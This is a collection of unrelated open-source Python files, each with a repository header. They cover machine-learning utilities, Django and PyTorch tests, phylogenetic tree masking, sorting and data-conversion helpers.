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src/gps_babel_tower/tasks/language_detection/language_detection.py | google/gps-babel-tower | 2 | 59832 | <gh_stars>1-10
# coding=utf-8
# Copyright 2021 Google LLC..
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from google.cloud import translate_v2 as translate
class LanguageDetection():
def __init__(self, engine='gcp'):
self.engine = engine
if self.engine == 'gcp':
self.translate_client = translate.Client()
else:
raise RuntimeError(f'engine {engine} not supported yet')
return
def detect(self, text):
language_code = None
if self.engine == 'gcp':
result = self.translate_client.detect_language(text)
# print("Confidence: {}".format(result["confidence"]))
language_code = result['language']
else:
raise RuntimeError('Unsupported')
return language_code
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tests/trainers/test_eval_loop.py | locoalien/mmf | 0 | 99419 | # Copyright (c) Facebook, Inc. and its affiliates.
import unittest
from unittest.mock import MagicMock, patch
import torch
from tests.trainers.test_training_loop import TrainerTrainingLoopMock
class TestEvalLoop(unittest.TestCase):
@patch(
"mmf.common.test_reporter.PathManager",
return_value=MagicMock(return_value=None),
)
@patch("mmf.common.test_reporter.get_mmf_env", return_value="")
def test_eval_loop(self, a, b):
torch.random.manual_seed(2)
trainer = TrainerTrainingLoopMock(100, max_updates=2, max_epochs=2)
trainer.load_datasets()
combined_report, meter = trainer.evaluation_loop("val")
self.assertAlmostEqual(combined_report["losses"]["loss"], 493377.5312)
self.assertAlmostEqual(combined_report["logits"].item(), -0.2379742, 6)
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r2r/r2r_problem.py | google-research/valan | 71 | 148390 | # coding=utf-8
# Copyright 2019 Google LLC
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Definition of R2R problem."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import operator
import pickle
from absl import logging
import numpy as np
import tensorflow.compat.v2 as tf
import tensorflow_probability as tfp
from valan.framework import common
from valan.framework import problem_type
from valan.framework import utils
from valan.r2r import agent
from valan.r2r import agent_config
from valan.r2r import constants
from valan.r2r import curriculum_env
from valan.r2r import curriculum_env_config as curriculum_env_config_lib
from valan.r2r import env
from valan.r2r import env_config as env_config_lib
from valan.r2r import eval_metric
from valan.r2r.multi_task import mt_agent
from valan.r2r.multi_task import mt_agent_config
R2RDebugInfo = collections.namedtuple(
'R2RDebugInfo', ['episode_undisc_reward', 'episode_num_steps', 'num_paths'])
class R2RProblem(problem_type.ProblemType):
"""Problem type for R2R."""
def __init__(self,
runtime_config,
mode,
data_sources,
curriculum='',
agent_type='r2r'):
self._runtime_config = runtime_config
self._mode = mode
self._data_sources = data_sources
self._curriculum = curriculum
if agent_type.lower() == 'r2r':
self._agent = agent.R2RAgent(
agent_config.get_r2r_agent_config(), mode=mode)
elif agent_type.lower() == 'mt':
self._agent = mt_agent.MTEnvAgAgent(
mt_agent_config.get_agent_config(), mode=mode)
else:
raise ValueError('Invalid agent_type: {}'.format(agent_type))
self._prob_ac = 0.5
self._env = None
self._loss_type = None
self._eval_dict = self._get_eval_dict()
def _get_eval_dict(self):
return {
'eval/success_rate':
eval_metric.get_success_rate,
'eval/navigation_error':
eval_metric.get_navigation_error,
'eval/path_length':
eval_metric.get_path_length,
'eval/oracle_success':
eval_metric.get_oracle_success,
'eval/num_steps_before_stop':
eval_metric.get_num_steps_before_stop,
'eval/spl':
eval_metric.get_spl,
'eval/undiscounted_episode_reward':
eval_metric.get_undisc_episode_reward,
'eval/cls':
eval_metric.get_cls,
'eval/dtw':
eval_metric.get_dtw,
'eval/norm_dtw':
eval_metric.get_norm_dtw,
'eval/sdtw':
eval_metric.get_sdtw,
'eval/' + common.VISUALIZATION_IMAGES:
eval_metric.get_visualization_image,
}
def get_environment(self):
if not self._env:
assert self._data_sources, 'data_sources must be non-empty.'
if self._curriculum:
# See actor_main.py and curriculum_env.py for the argument options.
self._env = curriculum_env.CurriculumR2REnv(
data_sources=self._data_sources,
runtime_config=self._runtime_config,
curriculum_env_config=
curriculum_env_config_lib.get_default_curriculum_env_config(
self._curriculum)
)
else:
self._env = env.R2REnv(
data_sources=self._data_sources,
runtime_config=self._runtime_config,
env_config=env_config_lib.get_default_env_config())
return self._env
def get_agent(self):
return self._agent
def get_optimizer(self, learning_rate):
return tf.keras.optimizers.Adam(learning_rate=learning_rate)
def create_summary(self, step, info):
sum_episode_reward = 0.
sum_episode_num_steps = 0.
num_infos = 0
num_paths_list = []
for infos in [pickle.loads(t.numpy()) for t in info]:
for episode_undisc_reward, episode_num_steps, num_paths in infos:
sum_episode_reward += episode_undisc_reward
sum_episode_num_steps += episode_num_steps
num_paths_list.append(num_paths)
num_infos += 1
if num_infos:
tf.summary.scalar(
'train_debug/episode_undiscounted_reward',
sum_episode_reward / num_infos,
step=step)
tf.summary.scalar(
'train_debug/episode_num_steps',
sum_episode_num_steps / num_infos,
step=step)
# Log the number of paths for analyzing curriculum learning.
tf.summary.scalar(
'train_debug/env_num_paths_mean',
sum(num_paths_list) / num_infos,
step=step)
tf.summary.scalar(
'train_debug/env_num_paths_maximum',
max(num_paths_list),
step=step)
def get_actor_info(self, final_step_env_output, episode_reward_sum,
episode_num_steps):
return R2RDebugInfo(episode_reward_sum, episode_num_steps,
self._env.num_paths)
def get_study_loss_types(self):
return [common.AC_LOSS, common.CE_LOSS]
def get_episode_loss_type(self, iterations):
self._loss_type = np.random.choice([common.AC_LOSS, common.CE_LOSS],
p=[self._prob_ac, 1. - self._prob_ac])
return self._loss_type
def select_actor_action(self, env_output, agent_output):
oracle_next_action = env_output.observation[constants.ORACLE_NEXT_ACTION]
oracle_next_action_indices = tf.where(
tf.equal(env_output.observation[constants.CONN_IDS],
oracle_next_action))
oracle_next_action_idx = tf.reduce_min(oracle_next_action_indices)
assert self._mode, 'mode must be set.'
if self._mode == 'train':
if self._loss_type == common.CE_LOSS:
# This is teacher-forcing mode, so choose action same as oracle action.
action_idx = oracle_next_action_idx
elif self._loss_type == common.AC_LOSS:
# Choose next pano from probability distribution over next panos
action_idx = tfp.distributions.Categorical(
logits=agent_output.policy_logits).sample()
else:
raise ValueError('Unsupported loss type {}'.format(self._loss_type))
else:
# In non-train modes, choose greedily.
action_idx = tf.argmax(agent_output.policy_logits, axis=-1)
action_val = env_output.observation[constants.CONN_IDS][action_idx]
policy_logprob = tf.nn.log_softmax(agent_output.policy_logits)
return common.ActorAction(
chosen_action_idx=int(action_idx.numpy()),
oracle_next_action_idx=int(oracle_next_action_idx.numpy()),
action_val=int(action_val.numpy()),
log_prob=float(policy_logprob[action_idx].numpy()))
def plan_actor_action(self, agent_output, agent_state, agent_instance,
env_output, env_instance, beam_size, planning_horizon,
temperature=1.0):
initial_env_state = env_instance.get_state()
initial_time_step = env_output.observation[constants.TIME_STEP]
beam = [common.PlanningState(score=0,
agent_output=agent_output,
agent_state=agent_state,
env_output=env_output,
env_state=initial_env_state,
action_history=[])]
planning_step = 1
while True:
next_beam = []
for state in beam:
if state.action_history and (state.action_history[-1].action_val
== constants.STOP_NODE_ID):
# Path is done. This won't be reflected in env_output.done since
# stop actions are not performed during planning.
next_beam.append(state)
continue
# Find the beam_size best next actions based on policy log probability.
num_actions = tf.math.count_nonzero(state.env_output.observation[
constants.CONN_IDS] >= constants.STOP_NODE_ID).numpy()
policy_logprob = tf.nn.log_softmax(
state.agent_output.policy_logits / temperature)
logprob, ix = tf.math.top_k(
policy_logprob, k=min(num_actions, beam_size))
action_vals = tf.gather(
state.env_output.observation[constants.CONN_IDS], ix)
oracle_action = state.env_output.observation[
constants.ORACLE_NEXT_ACTION]
oracle_action_indices = tf.where(
tf.equal(state.env_output.observation[constants.CONN_IDS],
oracle_action))
oracle_action_idx = tf.reduce_min(oracle_action_indices)
# Expand each action and add to the beam for the next iteration.
for j, action_val in enumerate(action_vals.numpy()):
next_action = common.ActorAction(
chosen_action_idx=int(ix[j].numpy()),
oracle_next_action_idx=int(oracle_action_idx.numpy()),
action_val=int(action_val),
log_prob=float(logprob[j].numpy()))
if action_val == constants.STOP_NODE_ID:
# Don't perform stop actions which trigger a new episode that can't
# be reset using set_state.
next_state = common.PlanningState(
score=state.score + logprob[j],
agent_output=state.agent_output,
agent_state=state.agent_state,
env_output=state.env_output,
env_state=state.env_state,
action_history=state.action_history + [next_action])
else:
# Perform the non-stop action.
env_instance.set_state(state.env_state)
next_env_output = env_instance.step(action_val)
next_env_output = utils.add_time_batch_dim(next_env_output)
next_agent_output, next_agent_state = agent_instance(
next_env_output, state.agent_state)
next_env_output, next_agent_output = utils.remove_time_batch_dim(
next_env_output, next_agent_output)
next_state = common.PlanningState(
score=state.score + logprob[j],
agent_output=next_agent_output,
agent_state=next_agent_state,
env_output=next_env_output,
env_state=env_instance.get_state(),
action_history=state.action_history + [next_action])
next_beam.append(next_state)
def _log_beam(beam):
for item in beam:
path_string = '\t'.join(
[str(a.action_val) for a in item.action_history])
score_string = '\t'.join(
['%.4f' % a.log_prob for a in item.action_history])
logging.debug('Score: %.4f', item.score)
logging.debug('Log prob: %s', score_string)
logging.debug('Steps: %s', path_string)
# Reduce the next beam to only the top beam_size paths.
beam = sorted(next_beam, reverse=True, key=operator.attrgetter('score'))
beam = beam[:beam_size]
logging.debug('Planning step %d', planning_step)
_log_beam(beam)
# Break if all episodes are done.
if all(item.action_history[-1].action_val == constants.STOP_NODE_ID
for item in beam):
break
# Break if exceeded planning_horizon.
if planning_step >= planning_horizon:
break
# Break if we are planning beyond the max actions per episode, since this
# will also trigger a new episode (same as the stop action).
if initial_time_step + planning_step >= env_instance._max_actions_per_episode:
break
planning_step += 1
# Restore the environment to it's initial state so the agent can still act.
env_instance.set_state(initial_env_state)
return beam[0].action_history
def eval(self, action_list, env_output_list):
result = {}
for key, fn in self._eval_dict.items():
score = fn(action_list, env_output_list, self._env)
result[key] = score
return result
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src/sentry/api/views/help_base.py | ChadKillingsworth/sentry | 0 | 175992 | from __future__ import absolute_import
import textwrap
from django.contrib.admindocs.views import simplify_regex
from django.utils.importlib import import_module
from django.utils.text import slugify
from sentry.api.base import Endpoint
from sentry.constants import HTTP_METHODS
from sentry.web.frontend.base import BaseView
class ApiHelpBase(BaseView):
auth_required = False
def get_resources(self, section, prefix='/api/0/'):
urls = import_module('sentry.api.urls')
resources = []
for pattern in urls.urlpatterns:
callback = self.__get_resource_callback(pattern, prefix)
if callback is None:
continue
if getattr(callback, 'doc_section', None) != section:
continue
data = self.__get_resource_data(pattern, prefix, callback)
resources.append(data)
return sorted(resources, key=lambda x: x['path'])
def get_sections(self, prefix=''):
resource_list = sorted(
(r for r in self.get_resources(prefix) if r['section']),
key=lambda x: x['section'].value,
)
section_list = []
last_section = None
for resource in resource_list:
if resource['section'] != last_section:
section_list.append({
'id': resource['section'].name,
'name': resource['section'].value,
'resources': [],
})
section_list[-1]['resources'].append(resource)
last_section = resource['section']
return section_list
def __split_doc(self, doc, path):
if doc:
try:
title, doc = textwrap.dedent(doc).strip().split('\n', 1)
except ValueError:
title, doc = doc, ''
else:
title = ''
return title.strip(), doc.strip()
def __format_doc(self, doc, params):
return doc.format(**params)
def __title_to_anchor(self, title):
return slugify(title.decode('utf-8'))
def __get_resource_callback(self, pattern, prefix):
if not hasattr(pattern, 'callback'):
return
if hasattr(pattern.callback, 'cls'):
callback = pattern.callback.cls
if not issubclass(callback, Endpoint):
return
elif hasattr(pattern.callback, 'cls_instance'):
callback = pattern.callback.cls_instance
if not isinstance(callback, Endpoint):
return
else:
return
return callback
def __get_resource_data(self, pattern, prefix, callback):
path = simplify_regex(pattern.regex.pattern)
path = path.replace('<', '{').replace('>', '}')
full_path = prefix.rstrip('/') + path
methods = []
for method_name in HTTP_METHODS:
if method_name == 'OPTIONS':
continue
method = getattr(callback, method_name.lower(), None)
if method is None:
continue
title, docstring = self.__split_doc(method.__doc__ or '', path=path)
if not title:
title = '{} {}'.format(method_name, path)
methods.append({
'verb': method_name,
'path': full_path,
'title': title,
'anchor': self.__title_to_anchor(title),
'doc': self.__format_doc(docstring, {
'path': full_path,
'method': method_name,
}),
})
return {
'path': full_path,
'methods': methods,
'section': getattr(callback, 'doc_section', None),
}
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] |
ozone-framework-python-server/tests/stacks/test_stacks_api.py | aamduka/ozone | 6 | 167559 | from django.urls import reverse
from django.test import TestCase
from stacks.models import Stack
from people.models import Person
from rest_framework.test import APIClient
from dashboards.models import Dashboard
from domain_mappings.models import DomainMapping, MappingType
from owf_groups.models import OwfGroupPeople
requests = APIClient()
class StacksApiTests(TestCase):
fixtures = ['resources/fixtures/default_data.json', ]
def tearDown(self):
requests.logout()
def setUp(self):
self.admin_user = Person.objects.get(pk=1)
self.regular_user = Person.objects.get(pk=2)
self.stack = Stack.create(self.regular_user, {
'name': 'test stack 1',
'description': 'test description 1'
})
def test_user_can_create_stack(self):
requests.login(email='<EMAIL>', password='password')
url = reverse('stacks-list')
create_stack_payload = {
'name': 'test stack 2',
'description': 'testing user can create a stack'
}
response = requests.post(url, create_stack_payload)
user_id = 2 # coming from the fixture that creates default users
self.assertEqual(response.status_code, 201)
self.assertTrue(response.data['id'])
self.assertTrue(response.data['default_group'])
self.assertEqual(response.data['name'], create_stack_payload['name'])
self.assertEqual(response.data['description'], create_stack_payload['description'])
self.assertTrue(response.data['stack_context'])
self.assertEqual(response.data['owner']['id'], user_id)
def test_owner_of_stack_can_share_stack(self):
regular_user = Person.objects.get(pk=2)
stack = Stack.create(regular_user, {
'name': 'test stack 1',
'description': 'test description 1'
})
requests.login(email='<EMAIL>', password='password')
url = reverse('stacks-share', args=(f'{stack.id}',))
response = requests.post(url)
self.assertEqual(response.status_code, 204)
def test_nonowner_of_stack_cannot_share_stack(self):
regular_user = Person.objects.get(pk=2)
stack = Stack.create(regular_user, {
'name': 'test stack 1',
'description': 'test description 1'
})
requests.login(email='<EMAIL>', password='password')
url = reverse('stacks-share', args=f'{stack.id}')
response = requests.post(url)
self.assertEqual(response.status_code, 403)
def test_user_can_restore_stack(self):
admin_user = Person.objects.get(pk=1)
regular_user = Person.objects.get(pk=2)
stack = Stack.create(admin_user, {
'name': 'test share stack',
'description': 'test description 1'
})
stack.default_group.add_user(regular_user)
regular_user.sync_dashboards()
requests.login(email='<EMAIL>', password='password')
url = reverse('stacks-restore', args=(f'{stack.id}',))
response = requests.post(url)
self.assertEqual(response.status_code, 200)
def test_admin_can_delete_stack(self):
dashboard_ids_for_stack = list(Dashboard.objects.filter(stack=self.stack).values_list("id", flat=True))
stack_default_group_id = self.stack.default_group.id
requests.login(email='<EMAIL>', password='password')
url = reverse('admin_stacks-detail', args=(f'{self.stack.id}',))
response = requests.delete(url)
self.assertEqual(response.status_code, 204)
# check that all dashboards associated with the stack are deleted
self.assertFalse(Dashboard.objects.filter(stack=self.stack).exists())
# check that all domain mappings for dashboards associated with the stack are deleted
self.assertFalse(DomainMapping.objects.filter(
src_id__in=dashboard_ids_for_stack,
src_type=MappingType.dashboard)
)
self.assertFalse(DomainMapping.objects.filter(
dest_id__in=dashboard_ids_for_stack,
dest_type=MappingType.dashboard)
)
# check that all domain mappings for widgets assigned to the stack are deleted
self.assertFalse(DomainMapping.objects.filter(src_id=stack_default_group_id, src_type=MappingType.group))
def test_nonadmin_can_delete_stack(self):
requests.login(email='<EMAIL>', password='password')
url = reverse('stacks-detail', args=(f'{self.stack.id}',))
reponse = requests.delete(url)
self.assertFalse(OwfGroupPeople.objects.filter(
group=self.stack.default_group,
person=self.regular_user).exists()
)
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MongoDB/Exercises/personal_finances/run.py | CaioCavalcanti/big-data-course | 15 | 120989 | <reponame>CaioCavalcanti/big-data-course
from eve import Eve
from personal_finances.auth import RolesAuth, add_token
if __name__ == '__main__':
app = Eve(auth=RolesAuth)
app.on_insert_accounts += add_token
app.run() | [
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conjureup/ui/views/credentials.py | iMichka/conjure-up | 1 | 16938 | from ubuntui.utils import Padding
from ubuntui.widgets.hr import HR
from conjureup.app_config import app
from conjureup.ui.views.base import BaseView, SchemaFormView
from conjureup.ui.widgets.selectors import MenuSelectButtonList
class NewCredentialView(SchemaFormView):
title = "New Credential Creation"
def __init__(self, *args, **kwargs):
cloud_type = app.provider.cloud_type.upper()
self.subtitle = "Enter your {} credentials".format(cloud_type)
super().__init__(*args, **kwargs)
class CredentialPickerView(BaseView):
title = "Choose a Credential"
subtitle = "Please select an existing credential, " \
"or choose to add a new one."
footer = 'Please press [ENTER] on highlighted credential to proceed.'
def __init__(self, credentials, default, submit_cb, back_cb):
self.credentials = credentials
self.default = default
self.submit_cb = submit_cb
self.prev_screen = back_cb
super().__init__()
def build_widget(self):
widget = MenuSelectButtonList(self.credentials, self.default)
widget.append(Padding.line_break(""))
widget.append(HR())
widget.append_option("Add a new credential", None)
return widget
def submit(self):
self.submit_cb(self.widget.selected)
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001285StepikPythonLUC/Stepik001285pythonLUCсh06p02st02TASK01_append.py | SafonovMikhail/python_000577 | 0 | 59082 | # lucky_numbers = []
# lucky_numbers.append(4)
# assertEqual(lucky_numbers, __)
# lucky_numbers.append(8)
# assertEqual(lucky_numbers, __) | [
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tess/model/feature_selection.py | LithiumSR/tess | 0 | 111616 | import lightgbm as lgb
from tess.utils import Utils
class FeatureSelection:
def __init__(self, data, threshold=1, force_base_entries=True):
self.data = data
self.threshold = threshold
self.force_base_entries = force_base_entries
def select(self):
schema = Utils.get_available_feature_schema(self.data, force_base_entries=self.force_base_entries)
X = [Utils.get_element_feature(schema, event.details, event.date) for event in self.data]
Y = [Utils.get_target_function_value(self.data, event) for event in self.data]
gbm = lgb.LGBMRegressor(boosting_type='gbdt', num_leaves=31, max_depth=-1, learning_rate=0.1,
n_estimators=100, objective='regression')
gbm.fit(X, Y)
features = gbm.feature_importances_
for i in range(len(features)):
if features[i] >= self.threshold:
features[i] = True
else:
features[i] = False
if self.force_base_entries:
features[schema.index('__days_diff')] = True
features[schema.index('__ref_number')] = True
features[schema.index('__cvss_expl')] = True
return Utils.get_filtered_schema(schema, features)
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] |
python/merge_sort.py | shibli049/miscellaneous | 1 | 49097 | <gh_stars>1-10
def mergeSort(a, temp, leftStart, rightEnd):
if(leftStart >= rightEnd):
return
middle = int((leftStart + rightEnd) / 2)
mergeSort(a, temp, leftStart, middle)
mergeSort(a, temp, middle + 1, rightEnd)
merge(a, temp, leftStart, middle, rightEnd)
return
def merge(a, temp, leftStart, middle, rightEnd):
left = leftStart
right = middle + 1
index = leftStart
while(left <= middle and right <= rightEnd):
if(a[left] <= a[right]):
temp[index] = a[left]
left += 1
else:
temp[index] = a[right]
right += 1
index += 1
while left <= middle:
temp[index] = a[left]
left += 1
index += 1
while right <= rightEnd:
temp[index] = a[right]
right += 1
index += 1
a[leftStart:rightEnd+1] = temp[leftStart:rightEnd+1] | [
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setup.py | JosepSampe/swift-linking-middleware | 0 | 81080 | <reponame>JosepSampe/swift-linking-middleware<filename>setup.py
from setuptools import setup, find_packages
paste_factory = ['softlink = '
'softlink:filter_factory']
setup(name='swift-softlink-middleware',
version='0.1.0',
description='Softlink middleware for OpenStack Swift',
author='<NAME>',
packages=find_packages(),
requires=['swift(>=1.4)'],
entry_points={'paste.filter_factory': paste_factory}
)
| [
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] |
combine-namedtuples.py | motoom/farasabina | 0 | 123017 | <filename>combine-namedtuples.py
import glob
import os
import datetime
import collections
from pprint import pprint as pp
import csv
months = {"jan": 1, "feb": 2, "mar": 3, "apr": 4, "may": 5, "jun": 6,
"jul": 7, "aug": 8, "sep": 9, "oct": 10, "nov": 11, "dec": 12}
# Output files
pre = csv.writer(open("pre.csv","wb"))
post = csv.writer(open("post.csv","wb"))
both = csv.writer(open("both.csv","wb"))
fields = ("participant", "congruent", "targetcolor", "trial", "responsetime", "correct")
pre.writerow(fields)
post.writerow(fields)
both.writerow(fields)
def safecolname(name):
""" Given a CSV column name, return a name safe for use as an attribute name.
Guards against dots in column names, and empty column names. """
name = name.strip()
if not name:
name = "empty_"
name = name.replace(".", "_")
return name
def saferow(row):
""" Return a copy of the dict 'row' such that all keys can safely be used
as attribute names. """
d = {}
for key, val in row.iteritems():
safekey = safecolname(key)
d[safekey] = val
return d
def process(participant, fn, output, trial):
print "Processing", fn, participant, trial
# Some CSV files use ',' as a delimiter, some use ';'.
firstline = open(fn, "rbU").readline()
delimiter = csv.Sniffer().sniff(firstline).delimiter
rs = csv.DictReader(open(fn, "rbU"), delimiter=delimiter)
safefieldnames = [safecolname(fieldname) for fieldname in rs.fieldnames]
Row = collections.namedtuple("Row", safefieldnames)
for r in rs:
output.writerow((participant, r["congruent"], r["letterColor"], trial, r["resp.rt"], r["resp.corr"]))
r = saferow(r)
item = Row(**r)
def inputfiles():
""" See what files we got, and extract the metadata from the filenames.
Return a dict containing all the information, keyed on participant number. """
d = collections.defaultdict(list) # Mapping from participant number => [(pre-date, pre-filename), (post-date, post-filename)]
for fn in glob.glob("*.csv"):
basename, ext = os.path.splitext(fn)
parts = basename.split("_")
if len(parts) != 5:
continue
participant, year, monthname, day, _ = parts
month = months[monthname.lower()]
date = datetime.date(int(year), month, int(day))
participant = int(participant)
d[participant].append((date, fn))
return d
participants = inputfiles()
# Make sure every participant has exactly two data files, sort the datafiles chronologically.
for participant, datafiles in participants.iteritems():
if len(datafiles) != 2:
raise Exception("Participant %d has %d data files, should be exactly 2." % (participant, len(datafiles)))
datafiles.sort()
# Process the datafiles of each participant.
for participant, datafiles in participants.iteritems():
print "Participant", participant
prefn, postfn = [filename for date, filename in datafiles]
process(participant, prefn, pre, "pre")
process(participant, postfn, post, "post")
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] |
tensorflow_federated/python/core/impl/bindings_utils/data_conversions.py | RyanMarten/federated | 1,918 | 44562 | # Copyright 2021, The TensorFlow Federated Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Helpers for converting Python data representations for CPP bindings."""
import collections
from typing import Mapping
from tensorflow_federated.python.core.impl.types import placements
def convert_cardinalities_dict_to_string_keyed(
cardinalities: Mapping[placements.PlacementLiteral,
int]) -> Mapping[str, int]:
"""Ensures incoming cardinalities dict is formatted correctly."""
if not isinstance(cardinalities, collections.abc.Mapping):
raise TypeError('`cardinalities` must be a `Mapping`. Received a type: '
f'{type(cardinalities)}.')
uri_cardinalities = {}
for placement, cardinality in cardinalities.items():
if not isinstance(placement, placements.PlacementLiteral):
raise TypeError('`cardinalities` must be a `Mapping` with '
'`PlacementLiteral` (e.g. `tff.CLIENTS`) keys. '
f'Received a key of type: {type(placement)}.')
if not isinstance(cardinality, int):
raise TypeError('`cardinalities` must be a `Mapping` with `int` values. '
f'Received a value of type: {type(cardinality)} for '
f'placement {placement}.')
uri_cardinalities[placement.uri] = cardinality
return uri_cardinalities
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] |
test_apps/python_app/tests/_shared/for_proc.py | Origen-SDK/o2 | 0 | 36007 | <filename>test_apps/python_app/tests/_shared/for_proc.py
def setenv(config_root, config_name=None, bypass_config_lookup=None):
import os, inspect, pathlib, sys
if bypass_config_lookup:
os.environ['origen_bypass_config_lookup'] = "1"
if config_name is None:
config_name = inspect.stack()[1].function
os.environ['origen_config_paths'] = str(
config_root.joinpath(f"{config_name}.toml").absolute())
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src/pdc2/scripts/mask_tips_by_taxonID_genomes.py | jlanga/smsk_selection | 4 | 88305 | <filename>src/pdc2/scripts/mask_tips_by_taxonID_genomes.py
"""
Input is a dir of trees
Mask monophyletic tips that belong to the same taxon
Keep the tip with the shortest terminal branch lenth
"""
import newick3,phylo3,os,sys
#if taxon id pattern changes, change it here
def get_name(name):
return name.split("@")[0]
#smooth the kink created by prunning
#to prevent creating orphaned tips after prunning twice at the same node
def remove_kink(node,curroot):
if node == curroot and curroot.nchildren == 2:
#move the root away to an adjacent none-tip internal node
if curroot.children[0].istip: #the other child is not tip
curroot = phylo3.reroot(curroot,curroot.children[1])
else: #tree has >=4 leaves so the other node cannot be tip
curroot = phylo3.reroot(curroot,curroot.children[0])
#---node---< all nodes should have one child only now
length = node.length + (node.children[0]).length
par = node.parent
kink = node
node = node.children[0]
#parent--kink---node<
par.remove_child(kink)
par.add_child(node)
node.length = length
return node,curroot
def monophyly_masking_by_bl(curroot):
going = True
while going and len(curroot.leaves()) >= 4:
going = False
for node in curroot.iternodes(): #walk through nodes
if not node.istip: continue #only look at tips
for sister in node.get_sisters():
if sister.istip and get_name(node.label)==get_name(sister.label):
if node.length > sister.length:
node = node.prune()
else: node = sister.prune()
if len(curroot.leaves()) >= 4:
if node.nchildren==1 or (node==curroot and node.nchildren==2):
node,curroot = remove_kink(node,curroot)
#no kink if the original node had more than 2 children
going = True
break
return curroot
if __name__ == "__main__":
if len(sys.argv) != 2:
print "python mask_tips_by_taxonID_genomes.py DIR"
sys.exit()
DIR = sys.argv[1]+"/"
filecount = 0
for i in os.listdir(DIR):
if i[-3:] == ".tt": #only mask trees that have tips trimmed
with open(DIR+i,"r") as infile:
intree = newick3.parse(infile.readline())
print i
filecount += 1
with open(DIR+i+".mm","w") as outfile:
outfile.write(newick3.tostring(monophyly_masking_by_bl(intree))+";\n")
if filecount == 0:
print "No file name with 'best' or 'tt' or 'fasttree' found in the treDIR"
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Python Programming/01. Primitive Types/06-numbers.py | luckyrabbit85/Python | 1 | 62895 | <filename>Python Programming/01. Primitive Types/06-numbers.py
x = 1 # int
print(type(x))
x = 1.1 # float
print(type(x))
x = 1 + 2j # complex number
print(type(x))
print(10 + 3)
print(10 - 3)
print(10 * 3)
print(10 / 3)
print(10 // 3)
print(10 % 3)
print(10 ** 3)
x = 10
x = x + 3
x += 3
print(x)
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trilearn/graph/subtree_sampler.py | melmasri/trilearn | 10 | 42190 | from collections import deque
import networkx as nx
import numpy as np
def random_subtree(T, alpha, beta, subtree_mark):
""" Random subtree of T according to Algorithm X in [1].
Args:
alpha (float): probability of continuing to a neighbor
beta (float): probability of non empty subtree
T (NetworkX graph): the tree of which the subtree is taken
Returns:
A subtree of T
References:
[1] <NAME>., <NAME>. Pavlenko Bayesian structure learning in graphical models using sequential Monte Carlo.
"""
# Take empty subtree with prob beta
empty = np.random.multinomial(1, [beta, 1-beta]).argmax()
subtree_edges = []
subtree_nodes = []
if empty == 1:
separators = {}
subtree = nx.Graph()
return (subtree, [], [], {}, separators, 1-beta)
# Take non-empty subtree
n = T.order()
w = 0.0
visited = set() # cliques
q = deque([])
start = np.random.randint(n) # then n means new component
separators = {}
#start_node = T.nodes()[start] # nx < 2.x
start_node = list(T.nodes())[start] # nx > 2.x
q.append(start_node)
subtree_adjlist = {start_node: []}
while len(q) > 0:
node = q.popleft()
visited.add(node)
subtree_nodes.append(node)
#T.node[node]["subnode"] = subtree_mark
for neig in T.neighbors(node):
b = np.random.multinomial(1, [1-alpha, alpha]).argmax()
if neig not in visited:
if b == 1:
subtree_edges.append((node, neig))
subtree_adjlist[node].append(neig)
subtree_adjlist[neig] = [node]
q.append(neig)
# Add separator
sep = neig & node
if not sep in separators:
separators[sep] = []
separators[sep].append((neig, node))
else:
w += 1
# subtree = T.subgraph(subtree_nodes)
# assert subtree_nodes in T.nodes()
subtree = None
v = len(subtree_nodes)
probtree = beta * v * np.power(alpha, v-1) / np.float(n)
probtree *= np.power(1-alpha, w)
return (subtree, subtree_nodes, subtree_edges, subtree_adjlist, separators, probtree)
def pdf(subtree, T, alpha, beta):
""" Returns the probability of the subtree subtree generated by
random_subtree(T, alpha, beta).
Args:
T (NetworkX graph): A tree
subtree (NetworkX graph): a subtree of T drawn by the subtree kernel
alpha (float): Subtree kernel parameter
beta (float): Subtree kernel parameter
Returns:
float
"""
p = subtree.order()
if p == 0:
return 1.0 - beta
forest = T.subgraph(set(T.nodes()) - set(subtree.nodes()))
#components = nx.connected_components(forest)
components = forest.connected_components()
w = float(len(list(components)))
v = float(subtree.order())
alpha = float(alpha)
beta = float(beta)
n = float(T.order())
prob = beta * v * np.power(alpha, v-1) * np.power(1-alpha, w) / n
return prob | [
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lib/metrics/__init__.py | kisonho/torchmanager | 0 | 94836 | from .accuracy import Accuracy, CategoricalAccuracy, MAE, SparseCategoricalAccuracy
from .conf_met import ConfusionMetrics
from .iou import InstanceIoU, MeanIoU, MIoU
from .metric import Metric, metric | [
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test_project/tests/test_widgets.py | epanchee/django-autocomplete-light | 0 | 111536 | """Test the base widget."""
from dal.widgets import Select
from django import forms
from django import http
from django import test
from django.conf.urls import url
from django.core.urlresolvers import reverse
from django.test.utils import override_settings
from django.utils import six
import mock
urlpatterns = [
url(
r'^test-url/$',
mock.Mock(),
name='test_url'
),
]
@override_settings(ROOT_URLCONF='tests.test_widgets')
class SelectTest(test.TestCase): # noqa
"""Test case for the Select widget."""
def test_widget_renders_only_selected_with_url(self):
"""Assert that it won't render unselected choices, if given a url."""
class Form(forms.Form):
test = forms.ChoiceField(
choices=[(i, 'label for %s' % i) for i in range(0, 100)],
widget=Select(url=reverse('test_url'))
)
form = Form(http.QueryDict('test=4'))
expected = '''
<select data-autocomplete-light-url="/test-url/" id="id_test" name="test">
<option value="4" selected="selected">label for 4</option>
</select>
'''.strip()
